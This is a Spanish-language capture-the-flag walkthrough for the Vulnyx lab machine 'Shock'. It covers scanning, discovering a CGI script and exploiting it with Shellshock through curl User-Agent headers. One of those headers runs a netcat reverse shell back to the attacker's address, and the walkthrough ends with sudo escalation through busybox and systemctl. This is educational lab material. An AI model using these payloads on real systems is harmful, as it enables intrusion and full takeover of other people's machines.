Máquina Shock (Vulnyx)

Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.48

Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.48

Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn 10.0.2.48 -sVC

Como podemos comprobar la Máquina Victima tiene abiertos los puertos 2122 80.

Comprobamos que es lo que corre por el puerto 80.


A continuación, realizamos con la herramienta gobuster un fuzzing web, para ello ejecutamos el siguiente comando:

$ gobuster dir -u http://10.0.2.48 -w /usr/share/seclists/Discovery/Web-Content/common.txt


Encontramos el directorio cgi-bin, investigando por internet veo que este directorio es donde se almacenan scripts ejecutables (CGI) no soportados por el estándar HTML, estos scripts están escritos en lenguajes como Perl, Python, Sh o C, que permiten a las páginas web generar contenido dinámico, procesar formularios y realizar tareas como enviar correos electrónicos.

Realizamos de nuevo con la herramienta gobuster un fuzzing web pero esta vez por las extensiones de estos ejecutables, para ello ejecutamos el siguiente comando:

$ gobuster dir -u http://10.0.2.48/cgi-bin -w /usr/share/seclists/Discovery/Web-Content/common.txt -x pl,cgi,py,sh


Encontramos el script shell.sh.

Accedemos a el.


Nos da el error 500 "Internal Server Error" este suele significar que el script existe, pero se produjo un error al intentar ejecutarlo.

Investigando por internet en la pagina de hacktricks encuentro la vulnerabilidad Shellshock, por lo tanto, probamos si es vulnerable a esta vulnerabilidad con la ayuda de la herramienta curl, para ello ejecutamos el siguiente comando:

$ curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'whoami'" "http://10.0.2.48/cgi-bin/shell.sh"


Nos devuelve el usuario www-data, por lo tanto, es vulnerable a la vulnerabilidad Shellshock, Teniendo de esta manera ejecución remota de comandos (RCE).

A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443

Volvemos a utilizar la herramienta curl para enviarnos una reverse shell, para ello ejecutamos el siguiente comando:

$ curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'busybox nc 10.0.2.4 443 -e bash'" "http://10.0.2.48/cgi-bin/shell.sh"


Obtenemos una shell como www-data.

Hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:

$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l


Nos encontramos con el binario busybox que lo podemos ejecutar como el usuario will. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.

Lo ejecutamos de la siguiente manera:

$ sudo -u will /usr/bin/busybox sh

¡¡¡Somos will!!!.

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l


Nos encontramos con el binario systemctl que lo podemos ejecutar como el usuario root. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.

Lo ejecutamos de la siguiente manera:

$ sudo -u root /usr/bin/systemctl
!/bin/sh

¡¡¡Ya somos root!!!.

Ya podemos leer las flags de user root.